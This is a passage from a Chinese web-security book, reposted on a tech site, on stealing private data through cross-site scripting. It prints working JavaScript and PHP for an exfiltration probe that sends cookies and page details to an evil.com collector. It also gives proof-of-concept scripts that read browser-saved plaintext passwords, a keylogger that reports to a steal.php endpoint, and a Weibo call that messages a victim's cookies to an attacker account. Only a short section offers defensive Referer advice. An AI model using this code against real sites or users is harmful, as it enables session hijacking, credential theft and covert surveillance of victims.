返回介绍

7.2 偷取隐私数据

发布于 2024-01-20 15:41:03 字数 13468 浏览 0 评论 0 收藏 0

在进行跨站攻击的过程中,当需要偷取数据时(比如Cookies、页面隐私内容等),就要考虑通过怎样的DOM操作提取数据,然后通过怎样的请求方式将数据发送出去。我们在2.5节中说过DOM操作与请求操作,在请求操作上,如果数据很少,可以通过Image对象,如果数据很多,可通过表单自提交或跨域AJAX提交等,只要请求能发出去,数据就能偷到手。

下面介绍一些偷取数据的技巧。

7.2.1 XSS探针:xssprobe

首先介绍我们在GitHub上开源了一个小工具xssprobe,其网址为:https://github.com/ evilcos/xssprobe。

1. 功能说明

在跨站渗透的过程中,我们打造了xssprobe这个小工具,通过它可以获取目标页面的通用数据,包括的数据信息如表7-1所示。

表7-1 xssprobe获取的数据类型说明

利用这些通用数据,有时能让我们直接获取目标用户的权限(通过Cookies利用),如果Cook-ies无效,至少还能得到其他有意义的数据,比如,目标用户是某CMS的管理员,那么通过location、toplocation或referer可以得到后台地址,通过其他信息则可以辅助判断目标用户的习惯。

2. 实现

我们来看看xssprobe是如何实现的,这个工具由两个文件组成:probe.js与probe.php,其中浏览器端的probe.js通过JavaScript获取表7-1中的信息并整理好,然后发给服务端的probe.php。probe.php对得到的信息进行一些安全编码操作,并存储为本地文件。下面看看详细的代码。

probe.js的代码如下:

// 获取隐私信息的服务端页面,这里需配置为自己的probe.php网址
http_server = "http://www.evil.com/xssprobe/
probe.php?c=";
var info = {}; // 隐私信息字典
info.browser = function(){ 
  // 检测浏览器类型与版本
  ua = navigator.userAgent.toLowerCase();
  var rwebkit = /(webkit)[ \/]([\w.]+)/;
  var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/;
  var rmsie = /(msie) ([\w.]+)/;
  var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/;
  var match = rwebkit.exec( ua ) ||
        ropera.exec( ua ) ||
        rmsie.exec( ua ) ||
        ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) ||
        [];
  return {name: match[1] || "", version: match[2] || "0"};
}();
info.ua = escape(navigator.userAgent);
info.lang = navigator.language;
info.referrer = document.referrer;
info.location = window.location.href;
info.toplocation = top.location.href;
info.cookie = escape(document.cookie);
info.domain = document.domain;
info.title = document.title;
info.screen = function(){ 
  // 获取屏幕分辨率
  var c = "";
  if (self.screen) {
    c = screen.width+"x"+screen.height;}
  return c;
}();
info.flash = function(){ 
  // 检测Flash的版本信息
  var f="",n=navigator;
  if (n.plugins && n.plugins.length) {
    for (var ii=0;ii<n.plugins.length;ii++) {
      if (n.plugins[ii].name.indexOf('Shockwave Flash')!=-1) {
        f=n.plugins[ii].description.split('Shockwave Flash ')[1];
        break;
      }
    }
  }
  else if (window.ActiveXObject) {
    for (var ii=10;ii>=2;ii--) {
      try {
        var fl 
          = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+ii+"');");
          if (fl) {
            f=ii + '.0';
            break;
          }
        }
      catch(e) {}
    }
  }
  return f;
}();
function json2str(o) { 
  // 将json格式的数据转为字符串形式
  var arr = [];
  var fmt = function(s) {
    if (typeof s == 'object' && s != null) 
      return json2str(s);
    return /^(string|number)$/.test(typeof s) ? "'" + s + "'" : s;
  }
  for (var i in o) 
    arr.push("'" + i + "':" + fmt(o[i]));
  return '{' + arr.join(',') + '}';
}
window.onload = function(){
  var i = json2str(info);
  new Image().src = http_server + i; // 发送
}

probe.php代码如下:

<?php
@header("Content-Type:text/html;charset=utf-8");
function get_real_ip(){
  // 获取真实的IP
  $ip=false;
  if(!empty($_SERVER["HTTP_CLIENT_IP"]))
  {
    $ip = $_SERVER["HTTP_CLIENT_IP"];
  }
  if (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
  {
    $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
    if ($ip)
    {
      array_unshift($ips, $ip); $ip = FALSE;
    }
    for ($i = 0; $i < count($ips); $i++)
    {
      if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i]))
      {
        $ip = $ips[$i];
        break;
      }
    }
  }
  return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
function get_user_agent(){
  // 服务端获取User-Agent
  return $_SERVER['HTTP_USER_AGENT'];
}
function get_referer(){
  // 服务端获取Referer
  return $_SERVER['HTTP_REFERER'];
}
function quotes($content){
  if(get_magic_quotes_gpc()){
    if(is_array($content)){
      foreach($content as $key=>$value) {
        $content[$key] = stripslashes($value);
      }
    }
    else {
      $content = stripslashes($content);
    }
  }
  else {}
  return $content;
}
if (!empty($_REQUEST["c"])){
  $curtime = date("Y-m-d H:i:s");
  $ip = get_real_ip();
  $useragent = get_user_agent();
  $referer = get_referer();
  $data = $_REQUEST["c"];
  if(!file_exists("probe_data.html")){
    $fp = fopen("probe_data.html", "a+");
    fwrite($fp, '<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>probe data</title><style>body{font-size:13px;}</style></head>');
    fclose($fp);
  }
  $fp = fopen("probe_data.html", "a+");
  // 将得到的信息存储为本地文件probe_data.html
  fwrite($fp, "$ip | $curtime <br />UserAgent: " . 
         htmlspecialchars(quotes($useragent)) . 
         "<br />Referer: " . htmlspecialchars(quotes($referer)) . 
         "<br />DATA: " . htmlspecialchars(quotes($data)) . 
         "<br /><br />");
  fclose($fp);
}
?>

信息存储文件probe_data.html的数据样例如下:

221.19.32.7 | 2011-08-22 14:36:08
UserAgent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0
Referer: http://www.foo.com/xssprobe/demo.html
DATA: {'browser':{'name':'mozilla','version':'6.0'},'ua':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0','lang':'zh-CN','referrer': 'http://www.foo.com/xssprobe/','location':'http://www.foo.com/xssprobe/demo.html','toplocation':'http://www.foo.com/xssprobe/demo.html','cookie':'xssprobe=1; popunder=yes; popundr=yes; setover18=1','domain':'www.foo.com','title': 'xssprobe demo page<script>alert(1)</script>','screen':'1440x900','flash':'10.3 r181'}

这个过程很简单,却很有效。不过有的场景可能无法直接使用xssprobe,比如,有些黑盒的CMS系统,我们没有获取XSS漏洞,也不知道管理员后台地址是什么,此时可以诱骗管理员(通过提交留言、管理员后台查看留言等方式)访问probe.php?c=test文件地址,这时可以在probe.php中获取到IP地址、User-Agent、Referer等信息。其中,Referer信息很可能就是后台地址。

通过xssprobe得到这些通用信息后,就可以进入下一步渗透测试了。当然,跨站渗透有时是可以一步搞定目标的,具体情况要依据渗透场景进行具体分析。

7.2.2 Referer惹的祸

7.2.1节提到了Referer,本节继续重点介绍它,之前我们的一些文章也描述了Referer的风险,下面整理摘录如下。

Referer指请求来源,很多网站通过这个来判断用户是从哪个页面/网站过来的。Referer是公开的,故不可在Referer中存在与身份认证或者其他隐私相关的信息,但很多网站设计之初没考虑到Referer的风险性,从而导致出现了安全问题,有些可能现在没问题,但是以后随着业务的发展,网站功能增多,安全问题就会出现。

下面列举几个使用场景。

1. 手机浏览器上的Web世界

比如,人人网3g网站曾经存在的身份认证缺陷,3g.renren.com的认证是采用URL后带“认证token”方式进行的,攻击者可以使用几种途径获取认证token,比如,发一篇文章,文章中通过<img>标签嵌入xssprobe的probe.php?c=test文件,诱导被攻击者访问这篇文章,被攻击者的Referer就会被记录下来,认证token也就泄漏了。

2. 一些网银

比如,某网银就是将身份认证信息直接嵌入URL中那个所谓的sid号,只要能获取到这个sid号,就等于获得了网银的权限,获取sid号有几种方式,其中有一种是Referer泄漏(由于网银不存在用户交互的问题,Referer泄漏不容易,除非以后有这样的可能性,不过通过劫持网银的其他子域,也能得到这个Referer)。

还有一些其他场景(如上一节说的Web黑盒渗透)。Web厂商需要注意Referer泄漏隐私的风险,可以考虑如下方式来进行Referer的保护:

· 如果当前页面不存在任何第三方域的链接,可以不用担心Referer泄漏隐私的问题;否则,要么改进网站的一些安全性架构,不要在URL中直接带上隐私数据;要么,在点击第三方域链接的时候进行中间跳转,首先跳转到自己的信任域内统一的功能页面上,这个页面专门作为往外跳转的“桥页”(URL中已经不存在隐私数据),然后这个“桥页”采用客户端跳转(meta跳转或JavaScript跳转),这样就能避免Referer泄漏的问题。

· HTML5草案推荐的rel="noreferrer"属性,可以让请求不带Referer,不过目前仅在We-bKit内核浏览器(如Chrome)中得到支持,但这会是一种趋势,Web厂商可以考虑针对第三方域的链接统一添加如下属性:

<a href="http://www.evil.com/" rel="noreferrer">noreferrer!</a>

7.2.3 浏览器记住的明文密码

这个技巧算是比较新的技巧,2010年时,各浏览器开始逐渐加入“记住密码”的功能(这些浏览器包括Firefox、Chrome、IE、Opera、Safari等),记住密码不同于老方式“记住登录状态”。“记住登录状态”主要是设置了持久型的Cookie,这和浏览器没关系,而是Web服务自己设置的。其实在有“记住密码”功能之前,浏览器还做了一件类似的事,就是记住表单内容。与记住表单内容相比,记住密码更危险,因为通过DOM操作就能获取其中的密码,而且是明文。

现在主流的浏览器都加入了这个功能,以uchome为例进行说明,如图7-1所示。当单击“登录”按钮时,浏览器会提示记住密码,如图7-2至图7-4所示。

图7-1 uchome登录

图7-2 IE浏览器记住密码

图7-3 Firefox浏览器记住密码

图7-4 Chrome浏览器记住密码

很多用户为了方便下次直接登录而不输入用户名和密码,就会选择记住。这样明文密码就被浏览器保存在当前域下,此时跨域是不能获取到这个明文密码的,那么怎样才能获取这些密码呢?

下面来看看怎么进行DOM操作来获得明文密码。

当包含密码表单项的网页被加载渲染后,浏览器就会开始将记住的明文密码填充进对应的密码表单项,由于是密码表单项,我们肉眼看到的会是一串星号,而直接查看网页源码将什么都看不到,因为这是一个动态填充的过程。由于DOM操作本身就可以是一个动态的过程,我们只要在密码表单项被渲染且浏览器填充好明文密码后执行DOM操作获取密码表单项的值即可。下面开始构造出我们的POC。

针对IE浏览器的POC代码如下:

get_pwd = function () { 
  /*获取明文密码*/
  var e = document.createElement("input");
  e.name = e.type = e.id = "password";
  document.getElementsByTagName("head")[0].appendChild(e);
  // 往head添加就隐藏了
  setTimeout(function () {
      alert("i can see ur pwd: " + document.getElementById("password"). value);
  }, 2000); // 时间竞争
}

从这个POC可以看出,只要动态创建一个type="password",并且name和id值与目标密码表单项一致就行,然后就是一个时间竞争,延时2秒是假设从页面被加载到浏览器完成了明文密码填充的时间。

不过这个POC在其他浏览器下就无效了,浏览器不填充,为什么?因为还需要满足一些条件才行,来看看Firefox下的POC代码:

get_pwd = function () { 
  /*获取明文密码*/
  var f = document.createElement("form");
  document.getElementsByTagName("head")[0].appendChild(f);
  var e1 = document.createElement("input");
  e1.type = "text";
  e1.name = e1.id = "username";
  f.appendChild(e1);
  var e = document.createElement("input");
  e.name = e.type = e.id = "password";
  f.appendChild(e);
  setTimeout(function () {
    alert("i can see ur pwd: " + document.getElementById("password"). value);
  }, 2000); // 时间竞争
}

可以看到,必须先创建一个form对象才行,否则这些浏览器会认为不合法,这个POC在Chrome中同样有效,但是Safari下又有一点不一样,只要将form对象添加到body标签中就可以,如果添加到head标签,Safari不会填充明文密码,而且Safari默认是不开启记住密码功能的。

POC出来后,就可以在XSS利用中使用该POC获取用户的明文密码,由于不同的Web环境下的密码表单项不太一样,此时只要修改相关的表单项值就行。

这方面还有更多深入的研究,可以参考我们在Ph4nt0m Webzine 0x06里的文章《XSS Hack:获取浏览器记住的明文密码》。

7.2.4 键盘记录器

键盘记录器实际上用处并不大,还不如劫持表单项的各种事件方便,比如,表单项的onchange、onblur、onclick等,当发现这些事件后,就将表单项里的值取到,而且键盘记录仅在全英文(ASCII)输入情况下有效,在输入时,存在中文输入框,是记录不了击键事件的。下列代码说明的是浏览器兼容性比较好的键盘记录器,如果真的要更完美,需要融入表单项等事件监听机制。

var steal_url = "http://www.evil.com/xss/steal.php?data="; // 键盘记录发送地址
var keystring = "";//键盘记录的字符串
function keypress(e){ 
  // onkeypress时的操作
  var currKey=0,CapsLock=0,e=e||event;
  currKey=e.keyCode||e.which||e.charCode;
  CapsLock=currKey>=65&&currKey<=90;
  switch(currKey)
  {
    case 8: case 9: case 13: 
    case 32: case 38: case 39: case 46:
      keyName = "";
      break;
    default:
      keyName = String.fromCharCode(currKey); 
      break;
  }
  keystring += keyName;
}
function keydown(e){ 
  // onkeydown时的操作
  var e=e||event;
  var currKey=e.keyCode||e.which||e.charCode;
  if((currKey>7&&currKey<14)||(currKey>31&&currKey<47)) {
    switch(currKey){
      case 8: 
        keyName = "[LF]"; 
        break;
      case 9: 
        keyName = "[TAB]"; 
        break;
      case 13:
        keyName = "[CR]"; 
        break;
      case 32: 
        keyName = "[SPACE]"; 
        break;
      case 33:
        keyName = "[PageUp]"; 
        break;
      case 34:
        keyName = "[PageDown]"; 
        break;
      case 35:
        keyName = "[End]"; 
        break;
      case 36:
        keyName = "[Home]"; 
        break;
      case 37:
        keyName = "[LEFT]"; 
        break;
      case 38:
        keyName = "[UP]"; 
        break;
      case 39:
        keyName = "[RIGHT]"; 
        break;
      case 40:
        keyName = "[DOWN]"; 
        break;
      case 46:
        keyName = "[DEL]"; 
        break;
      default:
        keyName = ""; 
        break;
    }
    if (keyName=='[CR]'){ 
      // 如果是回车键,则提交键盘记录
      //......省略发送请求:steal_url+keystring
    }
    keystring += keyName;
  }
}
function keyup(e){ 
  // onkeyup时的操作
  return keystring;
}
function blur(){ 
  // onblur时的操作,离开焦点
  // ...省略发送请求:steal_url+keystring
}
function bindEvent(o, e, fn){ 
  // 绑定事件的通用函数
  //o 绑定的标签对象
  //e 绑定的事件
  //fn 绑定后执行的函数
  if (typeof o == "undefined" || 
    typeof e == "undefined" || 
    typeof fn == "undefined" || o == null){
    return false;
  }
  if (o.addEventListener){
    o.addEventListener(e, window[fn], false);
  }
  else if (o.attachEvent){  
    // IE
    o.attachEvent("on"+e, window[fn]);
  }
  else {
    var oldhandler = o["on"+e];
    if (oldhandler) {
      o["on"+e] = function(x){
        oldhandler(x);
        window[fn]();
      }
    }
    else {
      o["on"+e] = function(x){
        window[fn]();
      }
    }
  }
  o.focus();
}
o=document; // 要监听的对象可以是整个document或某个表单项
bindEvent(o,'keypress',"keypress");
bindEvent(o,'keydown',"keydown");
bindEvent(o,'keyup',"keyup");
bindEvent(o,'blur',"blur");

7.2.5 偷取黑客隐私的一个小技巧

如果要偷取黑客/安全人员(假设他们用Fire-fox+NoScript插件)的隐私数据,如果有任何第三方域的请求,估计很容易被NoScript拦截,这时用的方法是:要么绕过NoScript(不总那么容易),要么就不要提交到第三方域,提交到本域是个不错的想法,比如,像曾经百度空间的私信功能,通过简单的接口就可以直接调用,一个GET请求就将数据存储到指定的账号私信里。还有一个更普遍的方法,现在很多网站都用JavaScript封装了烦琐的操作,比如,仅需要一个简单的函数就能提交目标请求,如新浪微博提交私信的一种简洁方式:

STK.core.io.ajax({method:'POST',url:'http://www.weibo.com/aj/message/add',
args:{text:document.cookie.substr(0,300),screen_name:'%E5%BE%B7%E5%88%A9%E5%BE%97%E7%91%9F%E7%9A%84%E4%BA%91%E4%BA%91'}})

格式化说明下:

STK.core.io.ajax({
  method: 'POST', // POST请求
  url: 'http://www.weibo.com/aj/message/add', // 发送私信的地址
  args: { // POST参数
    text: document.cookie.substr(0, 300), // 消息内容长度不允许超过300字符
    screen_name: '%E5%BE%B7%E5%88%A9%E5%BE%97%E7%91%9F%E7%9A%84%E4%BA%91%E4%BA%91' // 发送到的目标账号
  }
})

如果这样做,等目标黑客发现后就来不及了。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文